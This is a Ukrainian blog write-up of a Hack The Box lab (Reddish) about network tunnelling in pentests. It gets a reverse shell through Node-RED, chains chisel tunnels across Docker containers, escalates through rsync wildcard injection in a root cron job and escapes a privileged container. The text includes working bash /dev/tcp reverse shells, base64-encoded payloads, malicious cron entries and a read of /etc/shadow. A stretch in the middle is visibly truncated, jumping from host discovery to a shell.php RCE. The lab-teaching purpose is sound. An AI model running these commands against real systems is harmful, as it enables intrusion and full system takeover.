Ефективне тунелювання для пентесту

25.11.2024 10 хвилин Автор: Cyber Witcher

Тунелювання — це ключова техніка в пентестах, яка дозволяє спеціалістам з кібербезпеки отримувати доступ до закритих мереж і виявляти приховані вразливості. У статті детально розглядається кейс, який демонструє реальні підходи до експлуатації мережевих сервісів.

Розпочнемо

Для захоплення контролю над хостом, розташованим в іншій підмережі, ефективним підходом є створення складних тунелів. Сьогодні розглянемо техніки тунелювання, які застосовуються у пентестах, із прикладами використання віртуального середовища високого рівня складності з CTF-майданчика Hack The Box .

Досліджується використання середовища візуального програмування Node-RED для створення реверс-шеллу, аналізується експлуатація вразливої конфігурації СУБД Redis, а також застосовується rsync для доступу до файлової системи. Окрім цього, детально розглядається створення автоматизованих завдань cron. Особливий акцент робиться на маршрутизації трафіку через докер-контейнери за допомогою багаторівневих TCP-тунелів, що дозволяє ефективно контролювати віддалені хости.

Сканування портів

Для початку проводиться сканування мережі за допомогою Nmap. З’ясовано, що стандартні 1000 портів, які перевіряються за замовчуванням, неактивні. Тому обирається стратегія повного сканування всього діапазону TCP-портів із підвищеною швидкістю для виявлення доступних точок входу.

root@kali:~# nmap -n -Pn --min-rate=5000 -oA nmap/tcp-allports 10.10.10.94 -p-
root@kali:~# cat nmap/tcp-allports.nmap
...
Host is up (0.12s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
1880/tcp open vsat-control
...

Після завершення повного сканування виявлено лише один відкритий порт — 1880. Для подальшого аналізу цього порту розпочинається збір додаткової інформації про його призначення та сервіси, що на ньому працюють.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/tcp-port1880 10.10.10.94 -p1880
root@kali:~# cat nmap/tcp-port1880.nmap
...
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
...

Сканер каже, що на цьому порту розгорнуть Express – фреймворк веб-додатків Node.js.

Веб – порт 1880

Перехід на сторінку http://10.10.10.94:1880/ видає повідомлення про помилку.

Не знайдена запитана сторінка (404)

Є два шляхи розібратися, що за додаток висить на цьому порту.

  1. Зберегти значок веб-сайту до себе на машину (зазвичай вони живуть за адресою /favicon.ico) та спробувати знайти його за допомогою Reverse Image Search .

  2. Запитати у пошуковика, з чим зазвичай асоційований порт 1880 року.

Інший, більш простий підхід, виявився не менш ефективним: за першим же результатом пошуку за відповідним запитом вдалося отримати потрібну інформацію.

Гуглимо інформацію про 1880-й порт (джерело — speedguide.net)

Node-RED

Згідно з офіційною інформацією, Node-RED є середовищем для візуального програмування, що дозволяє створювати зв’язки між різними сутностями, такими як локальні пристрої чи API онлайн-сервісів. Найчастіше його використовують для управління пристроями IoT, зокрема розумними будинками.

Попри успішну ідентифікацію програмного забезпечення, помилка доступу до веб-сторінки залишається актуальною.

root@kali:~# curl -i http://10.10.10.94:1880
HTTP/1.1 404 Not Found
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
Content-Type: text/html; charset=utf-8
Content-Length: 139
Date: Thu, 30 Jan 2020 21:53:05 GMT
Connection: keep-alive
‍
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /</pre>
</body>
</html>

Перше, що спадає на думку, — запустити брутер директорій. Але перед цим спробуємо просто змінити запит із GET на POST.

root@kali:~# curl -i -X POST http://10.10.10.94:1880
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 86
ETag: W/"56-dJUoKg9C3oMp/xaXSpD6C8hvObg"
Date: Thu, 30 Jan 2020 22:04:20 GMT
Connection: keep-alive
‍
{"id":"a237ac201a5e6c6aa198d974da3705b8","ip":"::ffff:10.10.14.19","path":"/red/{id}"}

Без використання методів брутфорсу вдалося отримати підказку: при зверненні до кореня веб-сайту сервер через POST-запит повертає приклад правильного формату тіла запиту. Це логічно, адже у документації до API Node-RED переважно описані POST-запити.

При подальшому зверненні до URL-адреси http://10.10.10.94:1880/red/a237ac201a5e6c6aa198d974da3705b8/ вдалося отримати наступні результати, що відкривають нові можливості для аналізу.

Робоча область середовища Node-RED

Давай розбиратися, що тут можна зробити.

Node-RED Flow

Робоча область Node-RED викликає асоціацію зі «пісочницею», де користувач може легко маніпулювати різними елементами. Хоча це середовище має широкий функціонал, у цьому випадку завдання мінімальне — отримати доступ до шеллу на сервері для подальшої експлуатації.

Список вузлів середовища Node-RED

У панелі «будівельних блоків» (або вузлів) зліва, перегорнувши вниз, можна знайти вкладку Advanced. Саме тут розташована функція exec, яка відкриває можливість виконувати команди на сервері — незамінний інструмент для подальших дій у процесі експлуатації.

Spice must FLOW

У Node-RED кожна зібрана комбінація у робочій області називається “флоу” (або потік). Потоки можна створювати, запускати, імпортувати та експортувати у форматі JSON. Кнопка Deploy дозволяє одночасно застосовувати всі створені потоки, розміщені на вкладках робочої області, що робить процес впровадження змін простим і зручним.

simple-shell

Для демонстрації можливостей створення потоків у Node-RED можна розпочати з простого прикладу. Як перший крок, був реалізований і задеплоєний базовий тривіальний шелл, який служить основою для подальшого отримання контролю над системою. Цей підхід дозволяє зрозуміти принципи роботи потоків і їх практичне застосування.

Флоу з тривіальним шеллом (simple-shell)

Розберемо картинку за кольорами блоків:

  • Сірий (ліворуч): отримання даних на вхід. Сервер здійснює зворотне підключення до мого IP і прив’язує введення з моєї клавіатури до помаранчевого блоку exec.

  • Помаранчевий: виконання команд на сервері. Результат роботи цього блоку надходить на вхід другого сірого блоку. Зверніть увагу: у помаранчевого блоку є три вихідні «клеми». Вони відповідають stdout, stderr та коду повернення (котрий я не став використати).

  • Сірий (праворуч): надсилання вихідних даних. Відкривши розширені налаштування блоку подвійним кліком, можна встановити особливості його поведінки. Я вибрав Reply to TCP, щоб Node-RED надсилав мені відповіді у цьому підключенні.

Про два сірих блоках можна думати, як про мережеві пайпи, якими йде INPUT і OUTPUT блоку exec. Тепер піднімемо локального слухача на Kali і влаштуємо деплою!

Відгук на машині атакуючого від simple-shell

Як можна бачити – звичайний шелл non-PTY.

beautiful-shell

Звичайно, було цікаво пограти у такій пісочниці, тож, ось ще кілька конструкцій.

Флоу з покращеним шеллом (beautiful-shell)

Це акуратніший шелл: з ним можна надсилати запит на підключення «з кнопки» без необхідності редеплоїти весь проект (синій), логувати те, що відбувається у веб-інтерфейс (зелений, результат дивись на малюнку нижче) і форматувати виведення команд під свій шаблон (жовтий) .

Відгук на машині атакуючого від beautiful-shell
Приклад інформаційних повідомлень у діалозі налагодження

Вихідник у JSON-ці тут .

file-upload

Чому б не спорудити флоу для заливки файлів на сервер?

Флоу з відправкою файлів на сервер (file-upload)

Тут все дуже просто: за натисканням на кнопку Connect сервер підключається до порту 8889 моєї машини (де вже піднято листенер з потрібним файлом) і зберігає отриману інформацію в прихований файл /tmp/.file ( JSON ).

Для перевірки працездатності створеного потоку запускається nc на Kali, що дозволяє передати скрипт lse.sh для виконання локальної розвідки на Linux. Цей скрипт обрано як сучасну альтернативу LinEnum.sh. Після завершення завантаження проводиться перевірка контрольних сум обох копій, щоб переконатися в цілісності переданих даних і коректності їхнього виконання.

На Kali:

root@kali:~# nc -lvnp 8889 < lse.sh
...
root@kali:~# md5sum lse.sh
7d3a4fe5c7f91692885bbeb631f57c70 lse.sh
Надсилання скрипту lse.sh на сервер Node-RED

На Node-RED:

root@nodered:/tmp# md5sum .file
7d3a4fe5c7f91692885bbeb631f57c70 .file

Завантаження файлів із командного рядка

Відверто кажучи, описаний підхід до трансферу файлів є надмірним: весь процес можна провести, не відходячи від терміналу.

root@kali:~# nc -w3 -lvnp 8889 < lse.sh
root@nodered:~# bash -c 'cat < /dev/tcp/10.10.14.19/8889 > /tmp/.file'

reverse-shell

Шелл, створений за допомогою абстракцій Node-RED, мав певні недоліки: некоректне відображення окремих символів і загальна ненадійність конструкції. Для усунення цих обмежень було реалізовано повноцінний Reverse Shell, що забезпечив стабільний доступ до системи та розширені можливості для подальшої роботи.

Відправка реверс-шелу з відкритої сесії Node-RED на машину атакуючого

Спочатку було налаштовано реверс-шелл через Bash TCP, відкривши додатковий порт у новій вкладці терміналу. Однак для підвищення зручності, особливо у разі необхідності перезапуску сесії, було створено автоматизований флоу у Node-RED, що забезпечує стабільний запуск реверс-шеллу. Конфігурацію флоу збережено у форматі JSON для швидкого імпорту та повторного використання.

Флоу з реверс-шеллом (reverse-shell)

Для забезпечення коректного виконання реверс-шеллу пейлоад було загорнуто в додаткову оболонку Bash за допомогою команди: Bash: bash -c ‘<PAYLOAD>’.

Цей підхід дозволив примусово використовувати інтерпретатор Bash, оскільки за замовчуванням на хості був встановлений dash, який може викликати проблеми з сумісністю під час виконання складних команд.

Тепер можемо написати простий Bash-скрипт , щоб тригерити callback в один клік командного рядка.

Адреса URL, яку передає curl, відповідає об’єкту Inject у створеному потоці Node-RED (кнопка “Go!” на попередньому зображенні). Для зручності роботи в інтерактивному шеллі використовується rlwrap, який забезпечує коректне переміщення курсору стрілками вліво-вправо під час введення рядків, а також дозволяє працювати з історією команд.

Після успішного отримання шеллу наступний крок — провести розвідку системи, щоб зрозуміти, в яке середовище вдалося проникнути та які можливості воно надає для подальшої експлуатації.

Докер. Контейнер I: nodered

Вже з перших секунд перебування на сервері стає очевидно, що ми всередині докера, адже наш шелл повернувся від імені суперкористувача root. Це припущення підтверджує скрипт lse.sh, закинутий на машину в минулому параграфі.

Частина виведення скрипту lse.sh

Можна переконатись у цьому особисто: у корені файлової системи (далі ФС) існує директорія .dockerenv.

  • root@nodered:/node-red# ls -la /.dockerenv

  • -rwxr-xr-x 1 root root 0 May 4 2018 /.dockerenv

Якщо ви опинилися в докері, насамперед рекомендується перевірити мережеве оточення — на випадок, якщо це не одиничний контейнер у ланцюжку. У поточній системі відсутня ifconfig, тому інформацію про мережеві інтерфейси будемо дивитися за допомогою ip addr.

Дивимося інформацію про мережеві інтерфейси в nodered

Як видно, цей докер може спілкуватися з двома підмережами: 172.18.0.0/16 та 172.19.0.0/16. У першій підмережі контейнер (назвемо його nodered) має IP-адресу 172.18.0.2, а в другій — 172.19.0.4. Подивимося, з якими ще хостами взаємодіяв неавторизовано.

Дивимося кеш ARP у nodered

Кеш ARP вказує на те, що nodered знає ще як мінімум два хости: 172.19.0.2 та 172.19.0.3. Проведемо сканування з метою виявлення хостів .

Host Discovery

“Пробити” мережеве оточення можна різними способами.

Ping Sweep

Перший спосіб – написати простий скрипт, який дозволить “простукати” всіх учасників мережі технікою Ping Sweep . Ідея проста: на кожен хост рівня L2 у мережі 172.18.0.0 (або просто 172.18.0.0/24) відправимо по одному ICMP-запиту та подивимося на код повернення. Якщо успіх виводимо повідомлення на екран, інакше нічого не робимо.

/var/www/html/
http://localhost:8890/shell.php?cmd=whoami

Отримати таку відповідь.

Відповідь команди whoami

Таким чином є  маемо RCE в контейнері 172.19.0.3 (назвемо його www, адже він сам так представився).

Відповідь команди hostname

Якщо є RCE, непогано було б отримати шелл.

Докер. Контейнер II: www

Непогано б, та ось є одне але: хост www вміє спілкуватися тільки з nodered, а безпосередньо зв’язатися з Kali він не може. Значить, створюватимемо черговий тунель (третій за рахунком) поверх існуючого зворотного – і через нього ловити callback від www на Kali. Новий тунель буде прямим (або “локальним”).

В цьому випадку було налаштовано тунелювання між контейнером nodered і атакувальною машиною Kali. Підключення до сервера 10.10.14.19:8000 дозволило прокласти тунель, де 7001 порт контейнера nodered перенаправляється на 9001 порт ВМ Kali. Це означає, що все, що надходить на 172.19.0.4:7001, автоматично перенаправляється на машину атакуючого через порт 10.10.14.19:9001. Завдяки цьому можна організувати реверс-шелл, де як ціль (RHOST:RPORT) вказується 172.19.0.4:7001, а відгук надходить на локальну машину 10.10.14.19:9001.

Мережева карта. Частина 4: Перший тунель до Kali з nodered

Було додано два додаткові рядки до скрипту pwn-redis.sh : «відправити шелл» і «запустити слухача на порт 9001».

Пейлоад для curl закодований в Percent-encoding , щоб не мучитися з «поганими» символами.

bash -c 'bash -i >& /dev/tcp/172.19.0.4/7001 0>&1'

Тепер на одну дію отримуємо сесію на www.

Отримання сесії у контейнері www

Пропонуемо озирнутися.

Пропоную озирнутися.

По-перше, цей контейнер також має доступ у дві підмережі: 172.19.0.0/16 та 172.20.0.0/16.

Директорія backup у корені файлової системи www

У корені файлової системи – цікава директорія / backup , яка зустрічається досить часто на віртуалка Hack The Box (та й у реальному житті теж). Усередині – скрипт backup.sh з наступним вмістом.

cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b

Тут ми бачимо:

  • звернення до поки що невідомого нам хосту backup;

  • використання rsync , щоб бекапіті всі файли з розширенням .rdb (файли БД Redis) на віддалений сервер backup;

  • використання rsync для відновлення резервної копії (яка також знаходиться десь на сервері backup) вмісту /var/www/html/.

Вразливість очевидна, оскільки адміністратор використовує символ * у другому рядку для звернення до всіх rdb-файлів. Такий підхід дозволяє кожному з файлів бути обробленим, однак при цьому з’являється небезпека використання спеціально підготовленого файлу для виконання шкідливих дій.

Оскільки rsync має прапор для виконання команд, зловмисник може створити скрипт з особливим іменем, яке відповідає синтаксису тригера команд. Цей скрипт може бути виконаний від імені користувача, який запускає backup.sh, що дозволить зловмиснику здійснювати будь-які дії на сервері.

Довідка rsync

Цілком імовірно, що скрипт backup.sh виконується через планувальник cron, оскільки це типова практика для регулярного виконання задач на сервері.

Завдання виконання backup.sh кожні три хвилини

Отже, він буде виконаний від імені root! Приступимо до експлуатації.

Ескалація до root

Спочатку в директори:

Створимо файл pwnrsync . rdb – із звичайним реверс-шеллом, які ми сьогодні бачили вже сотню разів.

Після там створимо ще один файл з оригінальним ім’ям -e bash pwn-rsync.rdb.

Залишилося відкрити нову вкладку терміналу і дочекатися запуску завдання cron.

Отримання привілейованої сесії у www

І ось у нас є root-Шел!

Більше тунелів!

Реверс-шелл відгук був відправлений в контейнер nodered, а ловився на машині Kali. Для цього був налаштований додатковий локальний тунель на 1337 порту з nodered на машину атакуючого. Ця конфігурація дозволяє направляти з’єднання через тунель, забезпечуючи зручний доступ до відгуків і можливість подальших дій.

root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1337:127.0.0.1:1337 &
Мережева карта. Частина 5: Другий тунель до Kali з nodered

Тепер можна чесно забрати хеш користувача.

Забираємо прапор користувача

Але це всього лише прапор користувача, а ми, як і раніше, знаходимося всередині docker. Що ж тепер?

Докер. Контейнер III: backup

Пристрій скрипту для створення резервних копій не забезпечує належної автентифікації на сервері backup. Фактично, доступ до файлової системи контейнера можуть отримати всі, хто здатен підключитися до контейнера www по мережі.

Згідно з висновком команди ip addr для контейнера www, він має доступ до підмережі 17.20.0.0/24, однак точна адреса сервера backup досі невідома. Можна припустити, що його IP-адреса — 17.20.0.2, грунтуючись на аналогії з іншими вузлами мережі.

Для перевірки цього припущення можна відправити один ICMP-запит з контейнера www до сервера backup. Якщо сервер відповість на запит, це підтвердить правильність припущення щодо його IP-адреси.

www-data@www:/$ ping -c1 backup
ping: icmp open socket: Operation not permitted

Робити це потрібно з привілейованого шелла, тому що у користувача www-data не вистачає прав для відкриття необхідного сокету.

root@www:~# ping -c1 backup
PING backup (172.20.0.2) 56(84) bytes of data.
64 bytes from reddish_composition_backup_1.reddish_composition_internal-network-2 (172.20.0.2): icmp_seq=1 ttl=64 time=0.051 ms
‍
--- backup ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.051/0.051/0.051/0.000 ms

У такий спосіб ми переконалися, що адреса backup — 172.20.0.2. Доповнимо карту мережевих взаємодій.

Мережева карта. Частина 6: Локалізація контейнера backup

Тепер повернемося до міркування вище: у нас є доступ до www і є rsync без аутентифікації (на 873 порту) — отже, у нас є права на читання/запис у файлову систему backup.

Наприклад, можна переглянути корінь файлової системи на сервері backup, використовуючи таку команду:

www-data@www:/tmp$ rsync rsync://backup:873/src/
...
Лістинг кореня файлової системи контейнера backup

Або прочитати файл shadow.

www-data@www:/tmp$ rsync -a rsync://backup:873/etc/shadow .
www-data@www:/tmp$ cat shadow
...
Читання /etc/shadow файлу контейнера backup

А також записати будь-який файл у будь-яку директорію на backup.

www-data@www:/tmp$ echo 'HELLO THERE' > .test
www-data@www:/tmp$ rsync -a .test rsync://backup:873/etc/
-rw-r--r-- 12 2020/02/02 16:25:49 .test
Запис тестового файлу в каталог /etc контейнера backup

Створене завдання cron з реверс-шеллом зберігається в /etc/cron.d/ на сервері backup, і відгук ловиться на Kali. Проблема з мережею полягає в тому, що backup може зв’язуватися лише з www, а www — лише з nodered. Тому необхідно налаштувати ланцюжок тунелів: від backup до www, від www до nodered, і від nodered до Kali.

Отримання root-шеллу

Наслідуючи принципи динамічного програмування, декомпозуємо складне завдання на дві прості підзавдання, а в кінці об’єднаємо результати.

Прокидаємо локальний порт 1111 із контейнера nodered до порту 8000 на Kali, де працює сервер Chisel. Це дозволить нам звертатися до 172.19.0.4:1111 як до сервера Chisel на Kali.

root@nodered:/tmp# ./chisel client 10.10.14.19:8000 1111:127.0.0.1:8000 &

Другим кроком налаштуємо переадресацію з www на Kali. Для цього підключимося до 172.19.0.4:1111 (так само, якби ми могли підключитися до Kali безпосередньо) і прокинемо локальний порт 2222 до порту 3333 на Kali.

Тепер усе, що потрапить до порту 2222 на www, буде перенаправлено по ланцюжку тунелів у порт 3333 на машину атакуючого.

Мережева карта. Частина 7: Ланцюжок тунелів www ↔ nodered ↔ Kali

Примітка

Для деяких утилітарних цілей (наприклад, для доставки виконуваного файлу chisel в контейнер www) було відкрито додаткові допоміжні тунелі, опис яких не включений у текст, щоб не заплутувати читача та не перевантажувати мережеву карту.

Залишилося створити реверс-шелл, налаштувати cron-завдання, завантажити все на backup, дочекатися запуску cron і зловити шелл на Kali.

Створюємо шелл.

root@www:/tmp# echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMC4zLzIyMjIgMD4mMScK | base64 -d > shell.sh
root@www:/tmp# cat shell.sh
bash -c 'bash -i >& /dev/tcp/172.20.0.3/2222 0>&1'

Створюємо cronjob, який виконуватиметься щохвилини.

root@www:/tmp# echo '* * * * * root bash /tmp/shell.sh' > shell

Заливаємо обидва файли на backup за допомогою rsync.

root@www:/tmp# rsync -a shell.sh rsync://backup:873/src/tmp/
root@www:/tmp# rsync -a shell rsync://backup:873/src/etc/cron.d/

І за мить приходить коннект на 3333 порт Kali.

Ловимо root-сесію backup на Kali

Фінальний захоплення хоста Reddish

Прогулявшись файловою системою backup, можна побачити таку картину.

Лістинг пристроїв sda* у директорії /dev контейнера backup

У директорії /dev залишено доступ до всіх накопичувачів хостової ОС. Це означає, що на Reddish контейнер був запущений з прапором privileged . Це наділяє докер-процес практично всіма повноваженнями, які мають основний хост.

Якщо ми змонтуємо, наприклад, /dev/sda1, то зможемо здійснити втечу до файлової системи Reddish.

Монтуємо /dev/sda1 та просимо листинг кореня ФС основного хоста

Шелл можна отримати тим самим способом, яким було отримано доступ до контейнера backup: створюється cronjob, який потім скидається в /dev/sda1/etc/cron.d/.

root@backup:/tmp/sda1/etc/cron.d# echo 'YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOS85OTk5IDA+JjEnCg==' | base64 -d > /tmp/sda1/tmp/shell.sh
root@backup:/tmp/sda1/etc/cron.d# cat ../../tmp/shell.sh
bash -c 'bash -i >& /dev/tcp/10.10.14.19/9999 0>&1'
root@backup:/tmp/sda1/etc/cron.d# echo '* * * * * root bash /tmp/shell.sh' > shell

І тепер відгук реверс-шелла прийде вже людським чином через реальну мережу 10.10.0.0/16 (а не через нетрі віртуальних інтерфейсів докера) на порт 9999 ВМ Kali.

Ловимо root-сесію Reddish на Kali

Якщо викликати IP addr, можна бачити нагромадження мереж docker.

Список інтерфейсів хоста Reddish

Ось і все! Залишилося забрати рутовий прапор — і віртуалку пройдено.

root@backup:/tmp/sda1# cat root/root.txt
cat root/root.txt
50d0db64????????????????????????
Трофей

Висновок

Конфігурація docker

Маємо повноправний доступ до системи, тому з цікавості можна відкрити конфігурацію docker /opt/reddish_composition/docker-compose.yml .

З неї ми бачимо:

  • список портів, доступних «зовні» ( рядок 7 );

  • розділяється з контейнерами www і redis внутрішню мережу ( рядок 10 );

  • конфігурації всіх контейнерів (nodered, www, redis, backup);

  • прапор -privileged, з яким запущено контейнер backup ( рядок 38 ).

Відповідно до знайденого конфігурації, буде оновлена мережна картка, щоб врахувати нові налаштування та зміни в мережевій інфраструктурі.

Мережева карта. Частина 8: Файлова система Reddish

Chisel SOCKS

Відверто кажучи, задачу можна було б вирішити набагато простіше, оскільки Chisel підтримує SOCKS-проксі. Це означає, що не потрібно було вручну прокидати тунель для кожного порту. Хоча це корисно для навчальних цілей, щоб зрозуміти, як працює тунелювання, налаштування проксі-сервера значно спрощує життя пентестеру.

Однак є одна проблема: Chisel може запускати SOCKS-сервер лише в режимі chisel server, що означає необхідність розміщення Chisel на проміжному хості (наприклад, nodered), запуску його як сервера та підключення до цього сервера з Kali. Але це було неможливо зробити через обмеження мережевої доступності.

Проте є рішення: можна запустити Chisel поверх Chisel. У такому випадку перший Chisel буде діяти як сервер для backconnect до nodered, а другий — як сервер SOCKS-проксі в самому контейнері nodered. Тепер можна перевірити це на практиці.

Насамперед, як завжди, запускаємо сервер на Kali, який дозволяє зворотні підключення.

Потім робимо зворотний прокид з nodered (порт 31337) на Kali (порт 8001). Тепер все, що потрапляє на Kali через localhost:8001, відправляється в nodered localhost:31337.

Наступним кроком запускаємо Chisel у режимі SOCKS-сервера на nodered – слухати порт 31337.

Для завершення налаштування активуємо додатковий клієнт Chisel на Kali (зі значенням socks як remote), який підключається до локального порту 8001. Далі починається магія: трафік передається через порт 1080 SOCKS-проксі зворотним тунелем (який обслуговує перший сервер Chisel на порту 8000) і потрапляє на інтерфейс 127.0.0.1 контейнера nodered — порт 31337, де вже працює SOCKS-сервер.

З цього моменту можна звертатися до будь-якого хосту та порту, якщо вони доступні для nodered, а SOCKS-проксі виконає всю маршрутизацію трафіку:

root@kali:~# proxychains4 nmap -n -Pn -sT -sV -sC 172.19.0.3 -p6379
...
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
...
Підписатися
Сповістити про
0 Коментарі
Найстаріші
Найновіше Найбільше голосів
Знайшли помилку?
Якщо ви знайшли помилку, зробіть скріншот і надішліть його боту.